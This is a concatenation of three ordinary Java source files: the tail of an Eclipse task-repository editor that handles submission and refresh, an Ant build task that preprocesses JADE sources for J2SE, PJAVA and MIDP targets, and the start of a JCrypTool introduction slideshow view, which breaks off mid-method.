toolkit.createButton(composite, "Add me to CC", SWT.CHECK); addSelfButton.setSelection(RepositoryTaskAttribute.TRUE.equals(taskData.getAttributeValue(RepositoryTaskAttribute.ADD_SELF_CC))); addSelfButton.setImage(TasksUiImages.getImage(TasksUiImages.PERSON)); addSelfButton.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { if (addSelfButton.getSelection()) { taskData.setAttributeValue(RepositoryTaskAttribute.ADD_SELF_CC, RepositoryTaskAttribute.TRUE); } else { taskData.setAttributeValue(RepositoryTaskAttribute.ADD_SELF_CC, RepositoryTaskAttribute.FALSE); } RepositoryTaskAttribute attribute = taskData.getAttribute(RepositoryTaskAttribute.ADD_SELF_CC); changedAttributes.add(attribute); markDirty(true); } }); } public boolean getAttachContext() { if (attachContextButton == null || attachContextButton.isDisposed()) { return false; } else { return attachContextButton.getSelection(); } } public void setExpandAttributeSection(boolean expandAttributeSection) { this.expandedStateAttributes = expandAttributeSection; } public void setAttachContextEnabled(boolean attachContextEnabled) { this.attachContextEnabled = attachContextEnabled; // if (attachContextButton != null && attachContextButton.isEnabled()) { // attachContextButton.setSelection(attachContext); } @Override public void showBusy(boolean busy) { if (!getManagedForm().getForm().isDisposed() && busy != formBusy) { // parentEditor.showBusy(busy); if (synchronizeEditorAction != null) { synchronizeEditorAction.setEnabled(!busy); } if (activateAction != null) { activateAction.setEnabled(!busy); } if (openBrowserAction != null) { openBrowserAction.setEnabled(!busy); } if (historyAction != null) { historyAction.setEnabled(!busy); } if (submitButton != null && !submitButton.isDisposed()) { submitButton.setEnabled(!busy); } setEnabledState(editorComposite, !busy); formBusy = busy; } } private void setEnabledState(Composite composite, boolean enabled) { if (!composite.isDisposed()) { composite.setEnabled(enabled); for (Control control : composite.getChildren()) { control.setEnabled(enabled); if (control instanceof Composite) { setEnabledState(((Composite) control), enabled); } } } } public void setGlobalBusy(boolean busy) { if (parentEditor != null) { parentEditor.showBusy(busy); } else { showBusy(busy); } } public void submitToRepository() { setGlobalBusy(true); if (isDirty()) { saveTaskOffline(new NullProgressMonitor()); markDirty(false); } final boolean attachContext = getAttachContext(); Job submitJob = new Job(LABEL_JOB_SUBMIT) { @Override protected IStatus run(IProgressMonitor monitor) { AbstractTask modifiedTask = null; try { monitor.beginTask("Submitting task", 3); String taskId = connector.getTaskDataHandler().postTaskData(repository, taskData, new SubProgressMonitor(monitor, 1)); final boolean isNew = taskData.isNew(); if (isNew) { if (taskId != null) { modifiedTask = updateSubmittedTask(taskId, new SubProgressMonitor(monitor, 1)); } else { // null taskId, assume task could not be created... throw new CoreException( new RepositoryStatus(IStatus.ERROR, TasksUiPlugin.ID_PLUGIN, RepositoryStatus.ERROR_INTERNAL, "Task could not be created. No additional information was provided by the connector.")); } } else { modifiedTask = TasksUiPlugin.getTaskListManager().getTaskList().getTask(repository.getUrl(), taskData.getId()); } // Synchronization accounting... if (modifiedTask != null) { // Attach context if required if (attachContext && connector.getAttachmentHandler() != null) { connector.getAttachmentHandler().attachContext(repository, modifiedTask, "", new SubProgressMonitor(monitor, 1)); } modifiedTask.setSubmitting(true); final AbstractTask finalModifiedTask = modifiedTask; TasksUiPlugin.getSynchronizationManager().synchronize(connector, modifiedTask, true, new JobChangeAdapter() { @Override public void done(IJobChangeEvent event) { if (isNew) { close(); TasksUiPlugin.getSynchronizationManager().setTaskRead(finalModifiedTask, true); TasksUiUtil.openEditor(finalModifiedTask, false); } else { PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { refreshEditor(); } }); } } }); TasksUiPlugin.getSynchronizationScheduler().synchNow(0, Collections.singletonList(repository)); } else { close(); // For some reason the task wasn't retrieved. // Try to // open local then via web browser... PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { TasksUiUtil.openRepositoryTask(repository.getUrl(), taskData.getId(), connector.getTaskUrl(taskData.getRepositoryUrl(), taskData.getId())); } }); } return Status.OK_STATUS; } catch (CoreException e) { if (modifiedTask != null) { modifiedTask.setSubmitting(false); } return handleSubmitError(e); } catch (Exception e) { if (modifiedTask != null) { modifiedTask.setSubmitting(false); } StatusHandler.fail(e, e.getMessage(), true); PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { setGlobalBusy(false);// enableButtons(); } }); } finally { monitor.done(); } return Status.OK_STATUS; } }; IJobChangeListener jobListener = getSubmitJobListener(); if (jobListener != null) { submitJob.addJobChangeListener(jobListener); } submitJob.schedule(); } /** * @since 2.0 If existing task editor, update contents in place */ public void refreshEditor() { try { if (!getManagedForm().getForm().isDisposed()) { if (this.isDirty) { this.doSave(new NullProgressMonitor()); } setGlobalBusy(true); changedAttributes.clear(); commentStyleText.clear(); controlBySelectableObject.clear(); editorInput.refreshInput(); // Note: Marking read must run synchronously // If not, incomings resulting from subsequent synchronization // can get marked as read (without having been viewed by user if (repositoryTask != null) { TasksUiPlugin.getSynchronizationManager().setTaskRead(repositoryTask, true); } this.setInputWithNotify(this.getEditorInput()); this.init(this.getEditorSite(), this.getEditorInput()); PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { if (taskData == null) { parentEditor.setMessage( "Task data not available. Press synchronize button (right) to retrieve latest data.", IMessageProvider.WARNING); } else { updateEditorTitle(); menu = editorComposite.getMenu(); removeSections(); editorComposite.setMenu(menu); createSections(); // setFormHeaderLabel(); markDirty(false); parentEditor.setMessage(null, 0); AbstractRepositoryTaskEditor.this.getEditor().setActivePage( AbstractRepositoryTaskEditor.this.getId()); // Activate editor disabled: bug#179078 // AbstractTaskEditor.this.getEditor().getEditorSite().getPage().activate( // AbstractTaskEditor.this); // TODO: expand sections that were previously // expanded if (taskOutlineModel != null && outlinePage != null && !outlinePage.getControl().isDisposed()) { outlinePage.getOutlineTreeViewer().setInput(taskOutlineModel); outlinePage.getOutlineTreeViewer().refresh(true); } if (repositoryTask != null) { TasksUiPlugin.getSynchronizationManager().setTaskRead(repositoryTask, true); } setSubmitEnabled(true); } } }); } else { // Editor possibly closed as part of submit, mark read // Note: Marking read must run synchronously // If not, incomings resulting from subsequent synchronization // can get marked as read (without having been viewed by user if (repositoryTask != null) { TasksUiPlugin.getSynchronizationManager().setTaskRead(repositoryTask, true); } } } finally { if (!getManagedForm().getForm().isDisposed()) { setGlobalBusy(false); } } } /** * Used to prevent form menu from being disposed when disposing elements on the form during refresh */ private void setMenu(Composite comp, Menu menu) { if (!comp.isDisposed()) { comp.setMenu(null); for (Control child : comp.getChildren()) { child.setMenu(null); if (child instanceof Composite) { setMenu((Composite) child, menu); } } } } protected IJobChangeListener getSubmitJobListener() { return null; } protected AbstractTaskCategory getCategory() { return null; } protected IStatus handleSubmitError(final CoreException exception) { PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { if (form != null && !form.isDisposed()) { if (exception.getStatus().getCode() == RepositoryStatus.ERROR_IO) { parentEditor.setMessage(ERROR_NOCONNECTIVITY, IMessageProvider.ERROR); StatusHandler.log(exception.getStatus()); } else if (exception.getStatus().getCode() == RepositoryStatus.REPOSITORY_COMMENT_REQUIRED) { StatusHandler.displayStatus("Comment required", exception.getStatus()); if (!getManagedForm().getForm().isDisposed() && newCommentTextViewer != null && !newCommentTextViewer.getControl().isDisposed()) { newCommentTextViewer.getControl().setFocus(); } } else if (exception.getStatus().getCode() == RepositoryStatus.ERROR_REPOSITORY_LOGIN) { if (TasksUiUtil.openEditRepositoryWizard(repository) == MessageDialog.OK) { submitToRepository(); return; } } else { StatusHandler.displayStatus("Submit failed", exception.getStatus()); } setGlobalBusy(false); } } }); return Status.OK_STATUS; } protected AbstractTask updateSubmittedTask(String postResult, IProgressMonitor monitor) throws CoreException { final AbstractTask newTask = connector.createTaskFromExistingId(repository, postResult, monitor); if (newTask != null) { PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { if (getCategory() != null) { TasksUiPlugin.getTaskListManager().getTaskList().moveToContainer(newTask, getCategory()); } } }); } return newTask; } /** * Class to handle the selection change of the radio buttons. */ private class RadioButtonListener implements SelectionListener, ModifyListener { public void widgetDefaultSelected(SelectionEvent e) { widgetSelected(e); } public void widgetSelected(SelectionEvent e) { Button selected = null; for (int i = 0; i < radios.length; i++) { if (radios[i].getSelection()) selected = radios[i]; } // determine the operation to do to the bug for (int i = 0; i < radios.length; i++) { if (radios[i] != e.widget && radios[i] != selected) { radios[i].setSelection(false); } if (e.widget == radios[i]) { RepositoryOperation o = taskData.getOperation(radios[i].getText()); taskData.setSelectedOperation(o); markDirty(true); } else if (e.widget == radioOptions[i]) { RepositoryOperation o = taskData.getOperation(radios[i].getText()); o.setOptionSelection(((CCombo) radioOptions[i]).getItem(((CCombo) radioOptions[i]).getSelectionIndex())); if (taskData.getSelectedOperation() != null) taskData.getSelectedOperation().setChecked(false); o.setChecked(true); taskData.setSelectedOperation(o); radios[i].setSelection(true); if (selected != null && selected != radios[i]) { selected.setSelection(false); } markDirty(true); } } validateInput(); } public void modifyText(ModifyEvent e) { Button selected = null; for (int i = 0; i < radios.length; i++) { if (radios[i].getSelection()) selected = radios[i]; } // determine the operation to do to the bug for (int i = 0; i < radios.length; i++) { if (radios[i] != e.widget && radios[i] != selected) { radios[i].setSelection(false); } if (e.widget == radios[i]) { RepositoryOperation o = taskData.getOperation(radios[i].getText()); taskData.setSelectedOperation(o); markDirty(true); } else if (e.widget == radioOptions[i]) { RepositoryOperation o = taskData.getOperation(radios[i].getText()); o.setInputValue(((Text) radioOptions[i]).getText()); if (taskData.getSelectedOperation() != null) taskData.getSelectedOperation().setChecked(false); o.setChecked(true); taskData.setSelectedOperation(o); radios[i].setSelection(true); if (selected != null && selected != radios[i]) { selected.setSelection(false); } markDirty(true); } } validateInput(); } } public AbstractRepositoryConnector getConnector() { return connector; } public void setShowAttachments(boolean showAttachments) { this.showAttachments = showAttachments; } public String getCommonDateFormat() { return HEADER_DATE_FORMAT; } public Color getColorIncoming() { return colorIncoming; } /** * @see #select(Object, boolean) */ public void addSelectableControl(Object item, Control control) { controlBySelectableObject.put(item, control); } /** * @see #addSelectableControl(Object, Control) */ public void removeSelectableControl(Object item) { controlBySelectableObject.remove(item); } /** * This method allow you to overwrite the generation of the form area for "assigned to" in the peopleLayout.<br> * <br> * The overwrite is used for Bugzilla Versions > 3.0 * * @since 2.1 * @author Frank Becker (bug 198027) */ protected void addAssignedTo(Composite peopleComposite) { RepositoryTaskAttribute assignedAttribute = taskData.getAttribute(RepositoryTaskAttribute.USER_ASSIGNED); if (assignedAttribute != null) { Label label = createLabel(peopleComposite, assignedAttribute); GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); Text textField = createTextField(peopleComposite, assignedAttribute, SWT.FLAT | SWT.READ_ONLY); GridDataFactory.fillDefaults().hint(150, SWT.DEFAULT).applyTo(textField); } } /** * force a re-layout of entire form */ protected void resetLayout() { form.layout(true, true); form.reflow(false); } }
package leapTools; import org.apache.tools.ant.BuildException; import org.apache.tools.ant.Task; import org.apache.tools.ant.DirectoryScanner; import java.io.*; /** ANT-task preprocessing JADE sources into JADE-LEAP sources for J2SE, PJAVA and MIDP environments @author Giovanni Caire - TILAB */ public class Preprocessor extends Task { // File exclusion markers private static final String ALL_EXCLUDE_FILE_MARKER = "//#ALL_EXCLUDE_FILE"; private static final String J2SE_EXCLUDE_FILE_MARKER = "//#J2SE_EXCLUDE_FILE"; private static final String J2ME_EXCLUDE_FILE_MARKER = "//#J2ME_EXCLUDE_FILE"; private static final String PJAVA_EXCLUDE_FILE_MARKER = "//#PJAVA_EXCLUDE_FILE"; private static final String MIDP_EXCLUDE_FILE_MARKER = "//#MIDP_EXCLUDE_FILE"; // Code exclusion/inclusion markers. Note that the LEAP preprocessor // directives are conceived so that the non-preprocessed version of // a file is the version for J2SE (except for JADE-only code) --> // There is no need for J2SE specific code exclusion/inclusion markers private static final String ALL_EXCLUDE_BEGIN_MARKER = "//#ALL_EXCLUDE_BEGIN"; private static final String ALL_EXCLUDE_END_MARKER = "//#ALL_EXCLUDE_END"; private static final String J2ME_EXCLUDE_BEGIN_MARKER = "//#J2ME_EXCLUDE_BEGIN"; private static final String J2ME_EXCLUDE_END_MARKER = "//#J2ME_EXCLUDE_END"; private static final String J2ME_INCLUDE_BEGIN_MARKER = "/*#J2ME_INCLUDE_BEGIN"; private static final String J2ME_INCLUDE_END_MARKER = "#J2ME_INCLUDE_END*/"; private static final String PJAVA_EXCLUDE_BEGIN_MARKER = "//#PJAVA_EXCLUDE_BEGIN"; private static final String PJAVA_EXCLUDE_END_MARKER = "//#PJAVA_EXCLUDE_END"; private static final String PJAVA_INCLUDE_BEGIN_MARKER = "/*#PJAVA_INCLUDE_BEGIN"; private static final String PJAVA_INCLUDE_END_MARKER = "#PJAVA_INCLUDE_END*/"; private static final String MIDP_EXCLUDE_BEGIN_MARKER = "//#MIDP_EXCLUDE_BEGIN"; private static final String MIDP_EXCLUDE_END_MARKER = "//#MIDP_EXCLUDE_END"; private static final String MIDP_INCLUDE_BEGIN_MARKER = "/*#MIDP_INCLUDE_BEGIN"; private static final String MIDP_INCLUDE_END_MARKER = "#MIDP_INCLUDE_END*/"; // No-debug version generation markers private static final String NODEBUG_EXCLUDE_BEGIN_MARKER = "//#NODEBUG_EXCLUDE_BEGIN"; private static final String NODEBUG_EXCLUDE_END_MARKER = "//#NODEBUG_EXCLUDE_END"; // Preprocessing types private static final String J2SE = "j2se"; private static final String PJAVA = "pjava"; private static final String MIDP = "midp"; // Preprocessing results private static final int KEEP = 0; private static final int OVERWRITE = 1; private static final int REMOVE = 2; private boolean verbose = false; private int removedCnt = 0; private int modifiedCnt = 0; // The file that is being preprocessed private String target; // The base directory for recursive pre-processing private String basedir; // The type of preprocessing private String type; // The setter method for the "target" attribute public void setTarget(String target) { this.target = target; } // The setter method for the "basedir" attribute public void setBasedir(String basedir) { this.basedir = basedir; } // The setter method for the "type" attribute public void setType(String type) { this.type = type; } // The setter method for the "verbose" attribute public void setVerbose(boolean verbose) { this.verbose = verbose; } // The method executing the task public void execute() throws BuildException { if (basedir != null) { // Recursive preprocessing (ignore target argument if any) File d = new File(basedir); if (d.isDirectory()) { DirectoryScanner scanner = new DirectoryScanner(); scanner.setBasedir(d); scanner.setIncludes(new String[] {"**/*.java"}); scanner.scan(); String[] files = scanner.getIncludedFiles(); System.out.println("Preprocessing "+files.length+" files."); for (int i = 0; i < files.length; ++i) { execute(d.getPath()+"/"+files[i]); } System.out.println("Modified "+modifiedCnt+" files."); System.out.println("Removed "+removedCnt+" files."); } else { throw new BuildException("Error: "+basedir+" is not a directory."); } } else { // Slingle file preprocessing (use target argument) execute(target); } } /** Preprocess a single file */ private void execute(String file) throws BuildException { if (verbose) { System.out.println("Preprocessing file "+file+" (type: "+type+")"); } try { // Get a reader to read the file File targetFile = new File(file); FileReader fr = new FileReader(targetFile); BufferedReader reader = new BufferedReader(fr); // Get a writer to write into the preprocessed file File preprocFile = File.createTempFile(targetFile.getName(), "tmp", targetFile.getParentFile()); FileWriter fw = new FileWriter(preprocFile); BufferedWriter writer = new BufferedWriter(fw); // Prepare appropriate preprocessing markers String[] ebms = null; String[] eems = null; String[] ims = null; String[] efms = null; if (MIDP.equalsIgnoreCase(type)) { // For MIDP ebms = new String[] { ALL_EXCLUDE_BEGIN_MARKER, J2ME_EXCLUDE_BEGIN_MARKER, MIDP_EXCLUDE_BEGIN_MARKER}; eems = new String[] { ALL_EXCLUDE_END_MARKER, J2ME_EXCLUDE_END_MARKER, MIDP_EXCLUDE_END_MARKER}; ims = new String[] { J2ME_INCLUDE_BEGIN_MARKER, J2ME_INCLUDE_END_MARKER, MIDP_INCLUDE_BEGIN_MARKER, MIDP_INCLUDE_END_MARKER}; efms = new String[] { ALL_EXCLUDE_FILE_MARKER, J2ME_EXCLUDE_FILE_MARKER, MIDP_EXCLUDE_FILE_MARKER}; } else if (PJAVA.equalsIgnoreCase(type)) { // For PJAVA ebms = new String[] { ALL_EXCLUDE_BEGIN_MARKER, J2ME_EXCLUDE_BEGIN_MARKER, PJAVA_EXCLUDE_BEGIN_MARKER}; eems = new String[] { ALL_EXCLUDE_END_MARKER, J2ME_EXCLUDE_END_MARKER, PJAVA_EXCLUDE_END_MARKER}; ims = new String[] { J2ME_INCLUDE_BEGIN_MARKER, J2ME_INCLUDE_END_MARKER, PJAVA_INCLUDE_BEGIN_MARKER, PJAVA_INCLUDE_END_MARKER}; efms = new String[] { ALL_EXCLUDE_FILE_MARKER, J2ME_EXCLUDE_FILE_MARKER, PJAVA_EXCLUDE_FILE_MARKER}; } else if (J2SE.equalsIgnoreCase(type)) { // For J2SE ebms = new String[] { ALL_EXCLUDE_BEGIN_MARKER}; eems = new String[] { ALL_EXCLUDE_END_MARKER}; ims = new String[] {}; efms = new String[] { ALL_EXCLUDE_FILE_MARKER, J2SE_EXCLUDE_FILE_MARKER}; } else { //throw new BuildException("Unknown pre-processing type ("+type+") for file "+file); // User defined preprocessing type String upperCaseType = type.toUpperCase(); ebms = new String[] {"//#"+upperCaseType+"_EXCLUDE_BEGIN"}; eems = new String[] {"//#"+upperCaseType+"_EXCLUDE_END"}; ims = new String[] { "/*#"+upperCaseType+"_INCLUDE_BEGIN", "#"+upperCaseType+"_INCLUDE_END*/", }; efms = new String[] {"//#"+upperCaseType+"_EXCLUDE_FILE"}; } // Preprocess int result = preprocess(reader, writer, ebms, eems, ims, efms); // Close both streams reader.close(); writer.close(); switch (result) { case OVERWRITE: // The preprocessing modified the target file. // Overwrite it with the preprocessed one if (!targetFile.delete()) { System.out.println("Can't overwrite target file with preprocessed file"); throw new BuildException("Can't overwrite target file "+target+" with preprocessed file"); } preprocFile.renameTo(targetFile); if (verbose) { System.out.println("File "+preprocFile.getName()+" modified."); } modifiedCnt++; break; case REMOVE: // The preprocessing found that the target file must be excluded. // Remove both the target file and the preprocessed one if (!targetFile.delete()) { System.out.println("Can't delete target file"); throw new BuildException("Can't delete target file "+target); } if (!preprocFile.delete()) { System.out.println("Can't delete temporary preprocessed file "+preprocFile.getName()); throw new BuildException("Can't delete temporary preprocessed file "+preprocFile.getName()); } if (verbose) { System.out.println("File "+preprocFile.getName()+" removed."); } removedCnt++; break; case KEEP: // The preprocessing didn't touch the target file. // Just removed the preprocessed file if (!preprocFile.delete()) { System.out.println("Can't delete temporary preprocessed file "+preprocFile.getName()); throw new BuildException("Can't delete temporary preprocessed file "+preprocFile.getName()); } break; default: throw new BuildException("Unexpected preprocessing result for file "+preprocFile.getName()); } } catch (Exception e) { e.printStackTrace(); throw new BuildException(e.getMessage()); } } private int preprocess(BufferedReader reader, BufferedWriter writer, String[] excludeBeginMarkers, String[] excludeEndMarkers, String[] includeMarkers, String[] excludeFileMarkers) throws IOException { String line = null; boolean skip = false; int result = KEEP; String nextExcludeEndMarker = null; while (true) { line = reader.readLine(); if (line == null) { // Preprocessing terminated break; } String trimmedLine = line.trim(); // Check if this is an exclude-file marker if (isMarker(trimmedLine, excludeFileMarkers)) { return REMOVE; } if (!skip) { // Normal processing: Check if this is a BEGIN_EXCLUDE Marker if (isMarker(trimmedLine, excludeBeginMarkers)) { // Enter SKIP mode result = OVERWRITE; skip = true; nextExcludeEndMarker = getExcludeEndMarker(trimmedLine, excludeEndMarkers); } else { // Just copy the line into the preprocessed file unless // the (trimmed) line starts with an INCLUDE Marker if (!isMarker(trimmedLine, includeMarkers)) { writer.write(line); writer.newLine(); } else { result = OVERWRITE; } } } else { // SKIP mode if (trimmedLine.startsWith(nextExcludeEndMarker)) { // Exit SKIP mode skip = false; nextExcludeEndMarker = null; } } } return result; } private boolean isMarker(String s, String[] markers) { for (int i = 0; i < markers.length; ++i) { if (s.startsWith(markers[i])) { return true; } } return false; } private String getExcludeEndMarker(String s, String[] endMarkers) { int rootLength = s.indexOf("BEGIN"); String root = s.substring(0, rootLength); for (int i = 0; i < endMarkers.length; ++i) { if (endMarkers[i].startsWith(root)) { return endMarkers[i]; } } return null; } }
package org.jcryptool.core.introduction.views; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Canvas; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Event; import org.eclipse.swt.widgets.Label; import org.eclipse.swt.widgets.Listener; import org.eclipse.ui.IViewPart; import org.eclipse.ui.IWorkbenchPage; import org.eclipse.ui.PlatformUI; import org.eclipse.ui.part.ViewPart; import org.eclipse.ui.preferences.ScopedPreferenceStore; import org.jcryptool.core.CorePlugin; import org.jcryptool.core.commands.HelpHrefRegistry; import org.jcryptool.core.introduction.utils.DebounceExecutor; import org.jcryptool.core.introduction.utils.ImageScaler; import org.jcryptool.core.logging.utils.LogUtil; import org.jcryptool.core.util.colors.ColorService; import org.jcryptool.core.util.images.ImageService; import org.jcryptool.core.util.ui.auto.SmoothScroller; import org.eclipse.core.runtime.preferences.InstanceScope; import org.eclipse.jface.preference.IPreferenceStore; import org.eclipse.nebula.effects.stw.ImageTransitionable; import org.eclipse.nebula.effects.stw.Transition; import org.eclipse.nebula.effects.stw.TransitionManager; import org.eclipse.nebula.effects.stw.transitions.SlideTransition; import org.eclipse.nebula.effects.stw.utils.Utilities; import org.eclipse.swt.SWT; import org.eclipse.swt.custom.ScrolledComposite; import org.eclipse.swt.events.ControlEvent; import org.eclipse.swt.events.ControlListener; import org.eclipse.swt.events.MouseEvent; import org.eclipse.swt.events.MouseListener; import org.eclipse.swt.events.PaintEvent; import org.eclipse.swt.events.PaintListener; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.events.SelectionListener; import org.eclipse.swt.graphics.Image; import org.eclipse.swt.graphics.ImageData; import org.eclipse.swt.graphics.Point; import org.eclipse.swt.graphics.Rectangle; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; /** * This class contains the GUI and logic for the introduction plugin. * * @author Thorben Groos * */ public class AlgorithmInstruction extends ViewPart { /** * Indicates if the slideshow should automatically slide images. The default is * true. */ private boolean autoSlide = true; /** * This thing debounces the resize operations. */ private DebounceExecutor debouncer = new DebounceExecutor(); /** * GridData object used for centering the slideshow. */ private GridData gridData_cnvs; /** * The canvas the slideshow ist printed on. */ private Canvas cnvs; /** * Composite for the lower area of the Plugin containing * the "do not show again" chekcbox */ private Composite lowerArea; /** * A composite in which the slideshow is contained. */ private Composite cnvsComposite; /** * Images in the slideshow. */ private Image[] original_imgs = new Image[] { ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_1_1), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_1_2), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_2), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_3_1), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_3_2), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_3_3), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_3_4), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_4), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_5), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_6), ImageService.getImage(IntroductionPlugin.PLUGIN_ID, Messages.AlgorithmInstruction_image_7) }; /** * Images for the slideshow scaled to the canvas size. */ private Image[] scaled_imgs; /** * The number of the current image in the slideshow.</br> * Minimum: 0; Maximum: original_imgs.length(), */ private int curImage = 0; /** * This is part of the SWT Transition Widget (STW) */ private SlideTransition slideTransition; private TransitionManager transitionManager; private ImageTransitionable transitionable = new ImageTransitionable() { @Override public void setSelection(int index) { curImage = index; } @Override public int getSelection() { return curImage; } @Override public double getDirection(int toIndex, int fromIndex) { return Transition.DIR_RIGHT; } @Override public Control getControl(int index) { return cnvs; } @Override public Composite getComposite() { return cnvsComposite; } @Override public void addSelectionListener(SelectionListener listener) { } }; /** * This is the mouse listener reacting to mouse clicks * on the canvas. */ private MouseListener mouseListener = new MouseListener() { @Override public void mouseUp(MouseEvent e) { } @Override public void mouseDown(MouseEvent e) { // This method handles the users clicks on the left/right // side of the slideshow and triggers the switch of the // images. if (transitionTimerThread.isAlive()) { return; } Point cursorLocation = Display.getCurrent().getCursorLocation(); Point relativeCurserLocation = cnvs.toControl(cursorLocation); // The width and height of the current image. int imageWidth = scaled_imgs[curImage].getImageData().width; int imageHeight = scaled_imgs[curImage].getImageData().height; // The user clicks of on of the points at the bottom. if (relativeCurserLocation.y > (imageHeight - Utilities.pointVerticalDistance) && relativeCurserLocation.y < imageHeight) { int leftEdge = (imageWidth / 2) - ((scaled_imgs.length * Utilities.pointHorizontalSpacing) / 2); int rightEdge = (imageWidth / 2) + ((scaled_imgs.length * Utilities.pointHorizontalSpacing) / 2); if (relativeCurserLocation.x > leftEdge && relativeCurserLocation.x < rightEdge) { int selectedImage = (relativeCurserLocation.x - leftEdge) / Utilities.pointHorizontalSpacing; slideToImageNr(selectedImage); return; } } // The user clicks somewhere on the right or the left of the image. if (relativeCurserLocation.y >= 0 && relativeCurserLocation.y <= imageHeight) { if (relativeCurserLocation.x < (imageWidth / 2)) { // Slide to the left. slideToPrevImage(); } else { // Slide to the right. slideToNextImage(); } } } @Override public void mouseDoubleClick(MouseEvent e) { // Do nothing } }; /** * This timer simply counts down from 1 second.</br> * This is used to block transition when a transition is in progress. */ private Runnable transitionTimerRunnable = new Runnable() { @Override public void run() { try { // The 100 ms are just for security reasons. Thread.sleep((long) slideTransition.getTotalTransitionTime() + 100); } catch (InterruptedException e) { LogUtil.logError(IntroductionPlugin.PLUGIN_ID, e); } } }; /** * Thread running the transitionTimerRunnable. */ private Thread transitionTimerThread = new Thread(); /** * Runnable that has a countdown and after that countdown finished * it triggers the automatic sliding. */ private Runnable timerRunnable = new Runnable() { @Override public void run() { if (autoSlide) { try { // After the countdown has finished switch to the next image. // After 15 seconds it switches to the next image. Thread.sleep(15000); Display.getDefault().asyncExec(new Runnable() { @Override public void run() { IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); IViewPart part = page.findView("org.jcryptool.core.introduction.views.AlgorithmInstruction"); // The slideshow plugin is open, but maybe not visible if (part != null) { // The slideshow plugin is visible, thus maybe not active. if (page.isPartVisible(part)) { // Slide to the next image slideToNextImage(); } else { //trigger this method in 15 seconds resetTimer(); } } else { //trigger this method in 15 seconds resetTimer(); } } }); } catch (InterruptedException e) { // Here is an interrupted exception thrown. // I ignore this. I know using exceptions in the // program flow is bad, but it is easy. } } } }; /** * Thread for running the timerRunnable. */ private Thread timerThread = new Thread(timerRunnable); /** * This resizable just calls the resize function.</Br> * As it uses GUI elements it has to be run in the GUI-thread. */ private Runnable resizeRunnable = new Runnable() { @Override public void run() { Display.getDefault().asyncExec(new Runnable() { @Override public void run() { scaleImagesToCanvasSize(); } }); } }; /** * The ID of the view as specified by the extension. */ public static final String ID = "org.jcryptool.core.introduction.views.AlgorithmInstruction"; //$NON-NLS-1$ @Override public void createPartControl(Composite parent) { /** * This assigns a "wrong" online-help to this plugin. * This was added, to force the JCT open the online-help of the * Algorithm perspective when clicking on the help icon in the * JCT toolbar. */ String linkToAlgorithmHelp = "/org.jcryptool.core.help/$nl$/help/users/general/perspective_algorithm.html"; HelpHrefRegistry.getInstance().registerHrefFor(IntroductionPlugin.PLUGIN_ID, linkToAlgorithmHelp); ScrolledComposite scrolledComposite = new ScrolledComposite(parent, SWT.MULTI | SWT.V_SCROLL | SWT.H_SCROLL); scrolledComposite.setExpandHorizontal(true); scrolledComposite.setExpandVertical(true); Composite content = new Composite(scrolledComposite, SWT.NONE); GridLayout gl_content = new GridLayout(3, false); gl_content.horizontalSpacing = 0; gl_content.verticalSpacing = 0; content.setLayout(gl_content); content.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true)); scrolledComposite.setContent(content); // Load the images to the slideshow. initializeScaledImages(); cnvsComposite = new Composite(content, SWT.NONE); cnvsComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true)); GridLayout gl_cnvsComposite = new GridLayout(); gl_cnvsComposite.marginWidth = 0; gl_cnvsComposite.marginHeight = 0; cnvsComposite.setLayout(gl_cnvsComposite); cnvsComposite.addListener(SWT.Resize, new Listener() { @Override public void handleEvent(Event event) { int[] sizehint = computeSlideshowSizeHint(); gridData_cnvs.widthHint = sizehint[0]; gridData_cnvs.heightHint = sizehint[1]; cnvsComposite.layout(new Control[] { cnvs }); } }); // The canvas the slideshow is painted on. cnvs = new Canvas(cnvsComposite, SWT.DOUBLE_BUFFERED); gridData_cnvs = new GridData(SWT.CENTER, SWT.FILL, true, true); int[] initialSizeHint = computeSlideshowSizeHint(); gridData_cnvs.widthHint = initialSizeHint[0]; gridData_cnvs.heightHint = initialSizeHint[1]; cnvs.setLayoutData(gridData_cnvs); cnvs.addPaintListener(new PaintListener() { @Override public void paintControl(PaintEvent e) { // Initial drawing of the first image in the slideshow Image img = scaled_imgs[curImage]; e.gc.drawImage(img, 0, 0); // Initial drawing of the arrows on the left and right side of the slideshow // and the points at the bottom of the slideshow. Utilities utils = new Utilities(scaled_imgs[curImage], scaled_imgs.length, curImage); utils.drawLeftArrow(e); utils.drawRightArrow(e); utils.showPosition(e); } }); cnvs.addMouseListener(mouseListener); cnvs.addControlListener(new ControlListener() { @Override public void controlResized(ControlEvent e) { // This resizes the images in the slideshow. // Do not change the size of the images when the images slide. // Elsewhere a NullPointerException occurs. if 